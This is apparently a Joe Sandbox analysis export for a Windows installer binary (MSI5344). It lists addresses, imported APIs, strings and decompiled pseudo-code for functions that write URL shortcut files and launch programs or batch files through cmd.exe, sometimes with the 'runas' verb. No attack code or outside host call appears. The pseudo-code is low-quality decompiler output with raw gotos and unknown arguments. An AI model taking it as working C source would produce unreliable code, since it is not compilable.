0x7ff7af716d62
0x7ff7af716d67
0x7ff7af716d6d
0x7ff7af716d75
0x7ff7af716d77
0x7ff7af716d7f
0x7ff7af716d83
0x7ff7af716d90
0x7ff7af716d93
0x7ff7af716d99
0x7ff7af716da0
0x7ff7af716daa
0x7ff7af716daf
0x7ff7af716db9
0x7ff7af716dc4
0x7ff7af716dca
0x7ff7af716dd0
0x7ff7af716dd3
0x7ff7af716de3
0x7ff7af716dec
0x7ff7af716df3
0x7ff7af716df8
0x7ff7af716dff
0x7ff7af716e06
0x7ff7af716e0b
0x7ff7af716e19
0x7ff7af716e1d
0x7ff7af716e33
0x7ff7af716e36
0x7ff7af716e46
0x7ff7af716e4c
0x7ff7af716e4f
0x7ff7af716e53
0x7ff7af716e57
0x7ff7af716e63
0x7ff7af716e6a
0x7ff7af716e6f
0x7ff7af716e76
0x7ff7af716e7b
0x7ff7af716e81
0x7ff7af716e8a
0x7ff7af716e8f
0x7ff7af716e93
0x7ff7af716e97
0x7ff7af716e9e
0x7ff7af716eaa
0x7ff7af716eaf
0x7ff7af716eb4
0x7ff7af716ebb
0x7ff7af716ec1
0x7ff7af716ec6
0x7ff7af716ecb
0x7ff7af716ece
0x7ff7af716ed3
0x7ff7af716ed8
0x7ff7af716eda
0x7ff7af716edd
0x7ff7af716ee6
0x7ff7af716eec
0x7ff7af716efd
0x7ff7af716f0b
0x7ff7af716f10
0x7ff7af716f1d
0x7ff7af716f25
0x7ff7af716f2d
0x7ff7af716f34
0x7ff7af716f37
0x7ff7af716f3e
0x7ff7af716f48
0x7ff7af716f4b
0x7ff7af716f4f
0x7ff7af716f4f
0x7ff7af716f53
0x7ff7af716f5a
0x7ff7af716f61
0x7ff7af716f71
0x7ff7af716f76
0x7ff7af716f79
0x7ff7af716f7d
0x7ff7af716f7f
0x7ff7af716f90
0x7ff7af716f99
0x7ff7af716f9c
0x7ff7af716f9e
0x7ff7af716faa
0x7ff7af716fb0
0x7ff7af716fb7
0x7ff7af716fbc
0x7ff7af716fc0
0x7ff7af716fc5
0x7ff7af716fcd
0x7ff7af716fd1
0x7ff7af716fd9
0x7ff7af716fdb
0x7ff7af716fde
0x7ff7af716fe3
0x7ff7af716fe5
0x7ff7af716fe9
0x7ff7af716fee
0x7ff7af716ff6
0x7ff7af716ffa
0x7ff7af717002
0x7ff7af717006
0x7ff7af71700e
0x7ff7af717014
0x7ff7af717016
0x7ff7af717018
0x7ff7af71701a
0x7ff7af71701e
0x7ff7af717027
0x7ff7af717033
0x7ff7af717036
0x7ff7af717039
0x7ff7af71703b
0x7ff7af717041
0x7ff7af717045
0x7ff7af717048
0x7ff7af71704e
0x7ff7af717056
0x7ff7af71705e
0x7ff7af717062
0x7ff7af71706e
0x7ff7af717070
0x7ff7af717073
0x7ff7af717077
0x7ff7af717077
0x7ff7af71707b
0x7ff7af717087
0x7ff7af717087
0x7ff7af71708e
0x7ff7af717093
0x7ff7af71709a
0x7ff7af71709d
0x7ff7af7170b2
0x7ff7af7170b5
0x7ff7af7170bc
0x7ff7af7170c2
0x7ff7af7170c9
0x7ff7af7170cf
0x7ff7af7170d7
0x7ff7af7170e3
0x7ff7af7170e9
0x7ff7af7170eb
0x7ff7af7170f3
0x7ff7af7170f5
0x7ff7af7170fb
0x7ff7af7170fd
0x7ff7af717105
0x7ff7af717107
0x7ff7af71710a
0x7ff7af71710f
0x7ff7af717112
0x7ff7af717117
0x7ff7af71711a
0x7ff7af71711d
0x7ff7af717125
0x7ff7af71712b
0x7ff7af71712d
0x7ff7af717134
0x7ff7af717136
0x7ff7af71713b
0x7ff7af717141
0x7ff7af717145
0x7ff7af717149
0x7ff7af717152
0x7ff7af717158
0x7ff7af717163
0x7ff7af717165
0x7ff7af717168
0x7ff7af71716e
0x7ff7af717178
0x7ff7af71717c
0x7ff7af71717e
0x7ff7af717182
0x7ff7af717187
0x7ff7af71718b
0x7ff7af71718d
0x7ff7af717192
0x7ff7af717195
0x7ff7af71719c
0x7ff7af7171a1
0x7ff7af7171a4
0x7ff7af7171a7
0x7ff7af7171a9
0x7ff7af7171ad
0x7ff7af7171af
0x7ff7af7171b3
0x7ff7af7171c3
0x7ff7af7171cb
0x7ff7af7171d2
0x7ff7af7171da
0x7ff7af7171dd
0x7ff7af7171e0
0x7ff7af7171e3
0x7ff7af7171e7
0x7ff7af7171eb
0x7ff7af7171ee
0x7ff7af717203
0x7ff7af71720b
0x7ff7af717213
0x7ff7af717217
0x7ff7af71721c
0x7ff7af717228
0x7ff7af71722a
0x7ff7af71722d
0x7ff7af717231
0x7ff7af717235
0x7ff7af717241
0x7ff7af717241
0x7ff7af717248
0x7ff7af71724d
0x7ff7af717252
0x7ff7af717261
0x7ff7af717264
0x7ff7af71726b
0x7ff7af71726d
0x7ff7af717271
0x7ff7af717271
0x7ff7af717278
0x7ff7af717289
0x7ff7af71728f
0x7ff7af717298
0x7ff7af71729f
0x7ff7af7172a1
0x7ff7af7172a9
0x7ff7af7172ab
0x7ff7af7172ae
0x7ff7af7172b4
0x7ff7af7172be
0x7ff7af7172c1
0x7ff7af7172c9
0x7ff7af7172cf
0x7ff7af7172d1
0x7ff7af7172d8
0x7ff7af7172eb
0x7ff7af7172ed
0x7ff7af7172fa
0x7ff7af7172fc
0x7ff7af717302
0x7ff7af717309
0x7ff7af717310
0x7ff7af71731c
0x7ff7af717324
0x7ff7af717328
0x7ff7af71732b
0x7ff7af717334
0x7ff7af717337
0x7ff7af71733b
0x7ff7af717342
0x7ff7af717344
0x7ff7af717347
0x7ff7af71734b
0x7ff7af71734f
0x7ff7af717355
0x7ff7af71735c
0x7ff7af71736c
0x7ff7af71736e
0x7ff7af717371
0x7ff7af717373
0x7ff7af717379
0x7ff7af717386
0x7ff7af71738e
0x7ff7af717395
0x7ff7af71739f
0x7ff7af7173a2
0x7ff7af7173b7
0x7ff7af7173c7
0x7ff7af7173cc
0x7ff7af7173ce
0x7ff7af7173d3
0x7ff7af7173dc
0x7ff7af7173e0
0x7ff7af7173ec
0x7ff7af7173f3
0x7ff7af717428

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF7158F8
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF715B57
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF715E1D
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF716064
memcpy_s.LIBCPMT ref: 00007FF7AF7162CA
memcpy_s.LIBCPMT ref: 00007FF7AF716552
memcpy_s.LIBCPMT ref: 00007FF7AF71676B
memcpy_s.LIBCPMT ref: 00007FF7AF7167E6
memcpy_s.LIBCPMT ref: 00007FF7AF71681B
memcpy_s.LIBCPMT ref: 00007FF7AF716856
memcpy_s.LIBCPMT ref: 00007FF7AF716982
memcpy_s.LIBCPMT ref: 00007FF7AF716AA7
memcpy_s.LIBCPMT ref: 00007FF7AF716B52
memcpy_s.LIBCPMT ref: 00007FF7AF716B9D
memcpy_s.LIBCPMT ref: 00007FF7AF716C6A
memcpy_s.LIBCPMT ref: 00007FF7AF716DF3
memcpy_s.LIBCPMT ref: 00007FF7AF716E6A
memcpy_s.LIBCPMT ref: 00007FF7AF716EAF
memcpy_s.LIBCPMT ref: 00007FF7AF716F61
memcpy_s.LIBCPMT ref: 00007FF7AF71708E
memcpy_s.LIBCPMT ref: 00007FF7AF716366

Part of subcall function 00007FF7AF7179E4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF717A16

memcpy_s.LIBCPMT ref: 00007FF7AF717248

Strings

, xrefs: 00007FF7AF71713B
, xrefs: 00007FF7AF71700E

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: memcpy_s$_invalid_parameter_noinfo
String ID: $
API String ID: 2880407647-227171996
Opcode ID: 81015a75816399cc42c040463df982d0b7c48d30ef715935c009bec868a2b250
Instruction ID: 9a657a500d865af1b85f92b0f8cea888250cbb11fe723d2c7a4b916fa1cc6b07
Opcode Fuzzy Hash: 81015a75816399cc42c040463df982d0b7c48d30ef715935c009bec868a2b250
Instruction Fuzzy Hash: 8A031776A195C28BE735DE24D840BF9B791FB88388FC15135DB0A57B74DB38AA08CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D7B30 Relevance: 44.2, APIs: 21, Strings: 4, Instructions: 414
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 00007FF7AF6D7BAF
LocalFree.KERNEL32 ref: 00007FF7AF6D7BF9
WideCharToMultiByte.KERNEL32 ref: 00007FF7AF6D7C6D
LocalAlloc.KERNEL32 ref: 00007FF7AF6D7C81
WideCharToMultiByte.KERNEL32 ref: 00007FF7AF6D7CB7
WriteFile.KERNEL32 ref: 00007FF7AF6D7DC3
CloseHandle.KERNEL32 ref: 00007FF7AF6D7DCF
MultiByteToWideChar.KERNEL32 ref: 00007FF7AF6D7E13
LocalAlloc.KERNEL32 ref: 00007FF7AF6D7E34
MultiByteToWideChar.KERNEL32 ref: 00007FF7AF6D7E5F
LocalFree.KERNEL32(?), ref: 00007FF7AF6D7F0C
ShellExecuteW.SHELL32 ref: 00007FF7AF6D7F5A
LocalFree.KERNEL32 ref: 00007FF7AF6D7FA3
ShellExecuteW.SHELL32 ref: 00007FF7AF6D8010
LocalFree.KERNEL32 ref: 00007FF7AF6D8055
LocalFree.KERNEL32 ref: 00007FF7AF6D808B
LocalFree.KERNEL32 ref: 00007FF7AF6D80D2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D8117
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D811D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D8123
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D8129

Strings

open, xrefs: 00007FF7AF6D7F51, 00007FF7AF6D7FC4
[InternetShortcut]URL=, xrefs: 00007FF7AF6D7CCE
-_.~!*'();:@&=+$,/?#[], xrefs: 00007FF7AF6D7D07
URL Shortcut content:, xrefs: 00007FF7AF6D7E83

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Local$Free$ByteCharMultiWide_invalid_parameter_noinfo_noreturn$AllocExecuteFileShell$CloseCreateHandleWrite
String ID: -_.~!*'();:@&=+$,/?#[]$URL Shortcut content:$[InternetShortcut]URL=$open
API String ID: 3074492896-3004881174
Opcode ID: 7ab5d0df38a97142b4b9382946bbb736fa61214c26b18862d01de7ff67d88988
Instruction ID: 021f64881bee71e0ed988d04212ecf65dfe173bf5ac1f93092eeed3bf0b625c6
Opcode Fuzzy Hash: 7ab5d0df38a97142b4b9382946bbb736fa61214c26b18862d01de7ff67d88988
Instruction Fuzzy Hash: CD02D666A0AB8285EB10AF24E8443FAB7A5FB48BD4F855536DA8C07BB4DF3CD450C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D6650 Relevance: 40.5, APIs: 14, Strings: 9, Instructions: 292
libraryloadersleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 26%

			E00007FF77FF7AF6D6650(intOrPtr __ebx, long long __rcx, signed int __rdx, long long __r8) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r12;
				void* _t85;
				int _t108;
				void* _t151;
				intOrPtr _t154;
				void* _t155;
				intOrPtr _t177;
				signed long long _t179;
				signed long long _t180;
				long long _t181;
				intOrPtr* _t182;
				intOrPtr _t184;
				intOrPtr _t185;
				long long _t193;
				long long* _t196;
				signed long long _t201;
				intOrPtr _t202;
				signed long long _t214;
				signed long long _t215;
				signed long long _t216;
				signed long long _t217;
				intOrPtr _t223;
				signed long long _t250;
				void* _t272;
				intOrPtr* _t273;
				void* _t274;
				void* _t275;
				signed long long _t276;
				void* _t283;
				void* _t286;
				void* _t287;
				void* _t288;
				long long _t289;
				intOrPtr* _t290;

				_t274 = _t275 - 0x208;
				_t276 = _t275 - 0x308;
				_t179 =  *0xaf751030; // 0xa13e9e6732fb
				_t180 = _t179 ^ _t276;
				 *(_t274 + 0x1f0) = _t180;
				r12d = r9d;
				 *((long long*)(_t276 + 0x30)) = __r8;
				 *(_t276 + 0x38) = __rdx;
				_t289 = __rcx;
				r14d =  *(_t274 + 0x270) & 0x000000ff;
				_t290 =  *((intOrPtr*)(_t274 + 0x278));
				r8d = 0;
				E00007FF77FF7AF6D78A0(_t85, _t276 + 0x60, __rdx);
				 *((intOrPtr*)(_t276 + 0x60)) = 0x70;
				 *(_t276 + 0x64) = 0x440;
				E00007FF77FF7AF6D7410(__rdx,  *((intOrPtr*)(__rcx)) - 0x18);
				_t181 = _t180 + 0x18;
				 *((long long*)(_t276 + 0x28)) = _t181;
				E00007FF77FF7AF6D7410(__rdx,  *((intOrPtr*)(__rdx)) - 0x18);
				_t182 = _t181 + 0x18;
				 *((long long*)(_t276 + 0x20)) = _t182;
				E00007FF77FF7AF6D70D0(_t151, __rdx, _t289, _t276 + 0x50, _t272, _t274);
				_t273 = _t182;
				_t201 =  *((intOrPtr*)( *_t182 - 0x10));
				_t154 = __ebx;
				if (_t154 < 0) goto 0xaf6d6a8c;
				if (_t154 >= 0) goto 0xaf6d672c;
				E00007FF77FF7AF6D2AE0(__ebx, _t273);
				E00007FF77FF7AF710064( *((intOrPtr*)( *_t182 - 0xc)) - __ebx, __ebx, _t154, _t201,  *_t273, _t201 + 1, __r8, _t286, _t287, _t288);
				_t184 =  *_t273;
				_t155 = __ebx -  *((intOrPtr*)(_t184 - 0xc));
				if (_t155 > 0) goto 0xaf6d6a8c;
				 *((intOrPtr*)(_t184 - 0x10)) = __ebx;
				_t185 =  *_t273;
				 *((short*)(_t185 + _t201 * 2)) = 0;
				E00007FF77FF7AF6D7410(_t201,  *_t273 - 0x18);
				 *((long long*)(_t276 + 0x58)) = _t185 + 0x18;
				_t250 =  *((intOrPtr*)(_t276 + 0x50)) + 0xffffffe8;
				asm("lock xadd [edx+0x10], eax");
				if (_t155 > 0) goto 0xaf6d678a;
				_t214 =  *_t250;
				 *((intOrPtr*)( *_t214 + 8))();
				_t202 =  *((intOrPtr*)(_t276 + 0x58));
				if (r14b == 0) goto 0xaf6d6826;
				asm("o16 nop [eax+eax]");
				_t215 = _t214 + 1;
				if (( *(_t202 + _t214 * 2) & 0x0000ffff) !=  *((intOrPtr*)(L".bat" + _t215 * 2 - 2))) goto 0xaf6d67c7;
				if (_t215 != 5) goto 0xaf6d67b0;
				goto 0xaf6d67e5;
				_t216 = _t250;
				_t217 = _t216 + 1;
				if (( *(_t202 + _t216 * 2) & 0x0000ffff) !=  *((intOrPtr*)(L".cmd" + _t217 * 2 - 2))) goto 0xaf6d6826;
				if (_t217 != 5) goto 0xaf6d67d1;
				GetWindowsDirectoryW(??, ??);
				E00007FF77FF7AF6D7200(L"%s\\System32\\cmd.exe", _t274 - 0x20, _t283);
				E00007FF77FF7AF6D7200(L"/C \"\"%s\" %s\"",  *_t289,  *( *(_t276 + 0x38)));
				 *((long long*)(_t276 + 0x78)) =  *((intOrPtr*)(_t276 + 0x28));
				asm("sbb ecx, ecx");
				 *((intOrPtr*)(_t274 - 0x70)) = 0;
				_t190 =  !=  ? L"runas" : L"open";
				 *((long long*)(_t276 + 0x70)) =  !=  ? L"runas" : L"open";
				_t223 =  *((intOrPtr*)( *((intOrPtr*)(_t276 + 0x30))));
				_t192 =  !=  ? _t223 :  *((intOrPtr*)(_t274 - 0x78));
				 *((long long*)(_t274 - 0x78)) =  !=  ? _t223 :  *((intOrPtr*)(_t274 - 0x78));
				_t193 =  *((intOrPtr*)(_t276 + 0x20));
				_t225 =  !=  ? _t193 :  *((intOrPtr*)(_t274 - 0x80));
				 *((long long*)(_t274 - 0x80)) =  !=  ? _t193 :  *((intOrPtr*)(_t274 - 0x80));
				if (r14b == 0) goto 0xaf6d6894;
				GetForegroundWindow();
				 *((long long*)(_t276 + 0x68)) = _t193;
				if ( *((intOrPtr*)(_t274 + 0x280)) == 0) goto 0xaf6d68a9;
				E00007FF77FF7AF6D6BB0(_t202, _t276 + 0x60,  *((intOrPtr*)(_t274 + 0x280)),  *((intOrPtr*)(_t274 + 0x280)), _t273);
				r14d = ShellExecuteExW(??);
				if (_t193 == 0) goto 0xaf6d68c9;
				E00007FF77FF7AF6D6F60(_t106, _t202, _t193, _t273, _t274);
				r13d = 0;
				if (r14d != 0) goto 0xaf6d6908;
				if (( *((intOrPtr*)(_t274 - 0x68)) + 0xffffffe5 & 0xfffffffb) != 0) goto 0xaf6d6908;
				 *((long long*)(_t276 + 0x70)) = _t289;
				 *(_t276 + 0x64) =  *(_t276 + 0x64) & 0xfffffbff;
				_t108 = ShellExecuteExW(??);
				if (_t193 == 0) goto 0xaf6d6908;
				E00007FF77FF7AF6D6F60(_t108, _t202, _t193, _t273, _t274);
				_t196 = _t276 + 0x60;
				 *((long long*)(_t276 + 0x30)) = _t196;
				E00007FF77FF7AF6D7230(_t274 - 0x30, _t276 + 0x30);
				if ( *((intOrPtr*)(_t274 - 0x38)) == 0) goto 0xaf6d69db;
				GetModuleHandleW(??);
				GetProcAddress(??, ??);
				 *_t196();
				__imp__AllowSetForegroundWindow();
				if ( *((intOrPtr*)(_t274 - 0x38)) == 0) goto 0xaf6d69db;
				if (r12d != 2) goto 0xaf6d69db;
				GetModuleHandleW(??);
				GetProcAddress(??, ??);
				if (_t196 == 0) goto 0xaf6d69d7;
				r14d =  *_t196();
				if (r13d - 0x14 >= 0) goto 0xaf6d69d7;
				Sleep(??);
				 *((intOrPtr*)(_t276 + 0x3c)) = r13d;
				 *(_t276 + 0x38) = r14d;
				 *((long long*)(_t276 + 0x40)) = _t289;
				EnumWindows(??, ??);
				if ( *((intOrPtr*)(_t276 + 0x40)) == 0) goto 0xaf6d6994;
				BringWindowToTop(??);
				if (_t290 == 0) goto 0xaf6d6a08;
				 *_t290 = 0xffffffff;
				_t177 =  *((intOrPtr*)(_t274 - 0x38));
				if (_t177 == 0) goto 0xaf6d6a08;
				WaitForSingleObject(??, ??);
				GetExitCodeProcess(??, ??);
				E00007FF77FF7AF6D70A0(_t274 - 0x30);
				asm("lock xadd [edx+0x10], eax");
				if (_t177 > 0) goto 0xaf6d6a2c;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t202 - 0x18)))) + 8))();
				asm("lock xadd [edx+0x10], eax");
				if (_t177 > 0) goto 0xaf6d6a4b;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t276 + 0x20)) + 0xffffffe8)))) + 8))();
				asm("lock xadd [edx+0x10], esi");
				if (_t177 > 0) goto 0xaf6d6a67;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t276 + 0x28)) + 0xffffffe8)))) + 8))();
				return E00007FF77FF7AF708B70(1, 0x64,  *(_t274 + 0x1f0) ^ _t276);
			}

0x7ff7af6d665d
0x7ff7af6d6665
0x7ff7af6d666c
0x7ff7af6d6673
0x7ff7af6d6676
0x7ff7af6d667d
0x7ff7af6d6680
0x7ff7af6d6688
0x7ff7af6d668d
0x7ff7af6d6690
0x7ff7af6d6698
0x7ff7af6d66a6
0x7ff7af6d66b2
0x7ff7af6d66b7
0x7ff7af6d66bf
0x7ff7af6d66cf
0x7ff7af6d66d4
0x7ff7af6d66d8
0x7ff7af6d66e4
0x7ff7af6d66e9
0x7ff7af6d66ed
0x7ff7af6d66fa
0x7ff7af6d66ff
0x7ff7af6d6705
0x7ff7af6d6709
0x7ff7af6d670b
0x7ff7af6d6720
0x7ff7af6d6727
0x7ff7af6d6735
0x7ff7af6d673a
0x7ff7af6d673d
0x7ff7af6d6740
0x7ff7af6d6746
0x7ff7af6d6749
0x7ff7af6d674e
0x7ff7af6d6759
0x7ff7af6d6762
0x7ff7af6d676c
0x7ff7af6d6777
0x7ff7af6d677f
0x7ff7af6d6781
0x7ff7af6d6787
0x7ff7af6d678a
0x7ff7af6d6792
0x7ff7af6d67a7
0x7ff7af6d67b4
0x7ff7af6d67bd
0x7ff7af6d67c3
0x7ff7af6d67c5
0x7ff7af6d67c7
0x7ff7af6d67d5
0x7ff7af6d67dd
0x7ff7af6d67e3
0x7ff7af6d67ee
0x7ff7af6d6804
0x7ff7af6d6821
0x7ff7af6d682b
0x7ff7af6d6835
0x7ff7af6d683a
0x7ff7af6d684e
0x7ff7af6d6852
0x7ff7af6d685c
0x7ff7af6d6867
0x7ff7af6d686b
0x7ff7af6d686f
0x7ff7af6d687c
0x7ff7af6d6880
0x7ff7af6d6887
0x7ff7af6d6889
0x7ff7af6d688f
0x7ff7af6d6897
0x7ff7af6d68a1
0x7ff7af6d68b4
0x7ff7af6d68ba
0x7ff7af6d68c1
0x7ff7af6d68c9
0x7ff7af6d68cf
0x7ff7af6d68df
0x7ff7af6d68e1
0x7ff7af6d68e6
0x7ff7af6d68f3
0x7ff7af6d68fc
0x7ff7af6d6903
0x7ff7af6d6908
0x7ff7af6d690d
0x7ff7af6d691b
0x7ff7af6d6928
0x7ff7af6d6935
0x7ff7af6d6945
0x7ff7af6d694e
0x7ff7af6d6952
0x7ff7af6d695f
0x7ff7af6d6965
0x7ff7af6d696e
0x7ff7af6d697e
0x7ff7af6d6987
0x7ff7af6d698e
0x7ff7af6d6997
0x7ff7af6d699e
0x7ff7af6d69a4
0x7ff7af6d69a9
0x7ff7af6d69ae
0x7ff7af6d69bf
0x7ff7af6d69cf
0x7ff7af6d69d1
0x7ff7af6d69de
0x7ff7af6d69e0
0x7ff7af6d69e7
0x7ff7af6d69ea
0x7ff7af6d69f4
0x7ff7af6d6a01
0x7ff7af6d6a0c
0x7ff7af6d6a18
0x7ff7af6d6a20
0x7ff7af6d6a28
0x7ff7af6d6a37
0x7ff7af6d6a3f
0x7ff7af6d6a47
0x7ff7af6d6a54
0x7ff7af6d6a5c
0x7ff7af6d6a64
0x7ff7af6d6a8b

APIs

GetWindowsDirectoryW.KERNEL32 ref: 00007FF7AF6D67EE
GetForegroundWindow.USER32 ref: 00007FF7AF6D6889
ShellExecuteExW.SHELL32 ref: 00007FF7AF6D68AE
ShellExecuteExW.SHELL32 ref: 00007FF7AF6D68F3
GetModuleHandleW.KERNEL32 ref: 00007FF7AF6D6935
GetProcAddress.KERNEL32 ref: 00007FF7AF6D6945
AllowSetForegroundWindow.USER32 ref: 00007FF7AF6D6952
GetModuleHandleW.KERNEL32 ref: 00007FF7AF6D696E
GetProcAddress.KERNEL32 ref: 00007FF7AF6D697E
Sleep.KERNEL32 ref: 00007FF7AF6D699E
EnumWindows.USER32 ref: 00007FF7AF6D69BF
BringWindowToTop.USER32 ref: 00007FF7AF6D69D1
WaitForSingleObject.KERNEL32 ref: 00007FF7AF6D69F4
GetExitCodeProcess.KERNEL32 ref: 00007FF7AF6D6A01

Strings

.bat, xrefs: 00007FF7AF6D679C
p, xrefs: 00007FF7AF6D66B7
open, xrefs: 00007FF7AF6D6844
GetProcessId, xrefs: 00007FF7AF6D693E, 00007FF7AF6D6977
%s\System32\cmd.exe, xrefs: 00007FF7AF6D67F8
Kernel32.dll, xrefs: 00007FF7AF6D692E, 00007FF7AF6D6967
.cmd, xrefs: 00007FF7AF6D67CA
runas, xrefs: 00007FF7AF6D683D
/C ""%s" %s", xrefs: 00007FF7AF6D6815

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Window$AddressExecuteForegroundHandleModuleProcShellWindows$AllowBringCodeDirectoryEnumExitObjectProcessSingleSleepWait
String ID: %s\System32\cmd.exe$.bat$.cmd$/C ""%s" %s"$GetProcessId$Kernel32.dll$open$p$runas
API String ID: 697762045-4259221818
Opcode ID: 988835d2e9f5260ad46f1fbbb65d142f878554f56192db2400a8536da08af3c7
Instruction ID: f5beeff1951dcd930bdfbad9047d527996e227f6b69f673e4923eb5c11587181
Opcode Fuzzy Hash: 988835d2e9f5260ad46f1fbbb65d142f878554f56192db2400a8536da08af3c7
Instruction Fuzzy Hash: 57C1B136A06E8682EF14AB25D8541BDB366FB84BA4FC15232DA5E437B8DF3CD414C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6E6606 Relevance: 31.8, APIs: 21, Instructions: 306
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 57%

			E00007FF77FF7AF6E6606(long long* __rax, void* __rdi, void* __r9, void* __r13, void* __r14) {
				intOrPtr _t45;
				intOrPtr _t52;
				intOrPtr _t59;
				intOrPtr _t64;
				intOrPtr _t71;
				intOrPtr _t76;
				intOrPtr _t83;
				intOrPtr _t89;
				intOrPtr _t96;
				intOrPtr _t101;
				void* _t130;
				void* _t134;
				void* _t137;
				void* _t141;
				void* _t144;
				void* _t147;
				void* _t150;
				void* _t153;
				void* _t156;
				void* _t160;
				void* _t163;
				long long* _t165;
				long long* _t167;
				intOrPtr _t171;
				intOrPtr _t172;
				intOrPtr _t173;
				intOrPtr _t174;
				intOrPtr _t175;
				intOrPtr _t176;
				intOrPtr _t177;
				intOrPtr _t178;
				intOrPtr _t180;
				intOrPtr _t181;
				intOrPtr _t182;
				intOrPtr _t183;
				intOrPtr _t184;
				void* _t226;
				void* _t237;
				intOrPtr _t239;
				long long* _t240;
				intOrPtr _t242;
				intOrPtr _t243;
				void* _t245;
				void* _t249;
				void* _t264;

				_t268 = __r14;
				_t237 = __rdi;
				_t165 = __rax;
				if (__r9 != 0) goto 0xaf6e66a8;
				_t239 =  *0xaf752dd0; // 0x0
				if (_t239 != 0) goto 0xaf6e6656;
				E00007FF77FF7AF6E8B64(0, _t245 + 0x48);
				_t134 =  *0xaf752dd0 - _t239; // 0x0
				if (_t134 != 0) goto 0xaf6e6646;
				_t45 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t45 + 1;
				 *0xaf752dd0 = _t165;
				E00007FF77FF7AF6E8BDC(_t165, _t245 + 0x48);
				_t240 =  *0xaf752dd0; // 0x0
				E00007FF77FF7AF6D7860();
				_t170 = _t165;
				 *((long long*)(_t245 + 0x40)) = _t165;
				if (_t165 == 0) goto 0xaf6e6694;
				 *(_t165 + 8) =  *(_t165 + 8) & 0x00000000;
				 *_t165 = 0xaf736760;
				E00007FF77FF7AF6E8DCC(0xaf736760, _t245 - 0x20, _t226, _t249);
				asm("movups xmm0, [eax]");
				asm("movups [ebx+0x10], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [ebx+0x20], xmm1");
				goto 0xaf6e6696;
				E00007FF77FF7AF6E6384(_t170, __rdi, _t170, __rdi, _t240, _t240);
				goto 0xaf6e6705;
				_t171 =  *0xaf752dd0; // 0x0
				if (_t171 != 0) goto 0xaf6e66ef;
				E00007FF77FF7AF6E8B64(0, _t245 + 0x48);
				_t137 =  *0xaf752dd0 - _t240; // 0x0
				if (_t137 != 0) goto 0xaf6e66df;
				_t52 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t52 + 1;
				 *0xaf752dd0 = 0xaf736760;
				E00007FF77FF7AF6E8BDC(0xaf736760, _t245 + 0x48);
				_t172 =  *0xaf752dd0; // 0x0
				E00007FF77FF7AF6DC000(0xaf736760, __r14);
				E00007FF77FF7AF6E6384(_t172, _t237, 0xaf736760, _t237, _t240, _t172);
				if ((r12b & 0x00000008) == 0) goto 0xaf6e698c;
				_t173 =  *0xaf752d78; // 0x0
				if (__r14 != 0) goto 0xaf6e6782;
				if (_t173 != 0) goto 0xaf6e675b;
				E00007FF77FF7AF6E8B64(0, _t245 + 0x48);
				_t141 =  *0xaf752d78 - _t240; // 0x0
				if (_t141 != 0) goto 0xaf6e674b;
				_t59 =  *0xaf752db8; // 0x0
				 *0xaf752db8 = _t59 + 1;
				 *0xaf752d78 = 0xaf736760;
				E00007FF77FF7AF6E8BDC(0xaf736760, _t245 + 0x48);
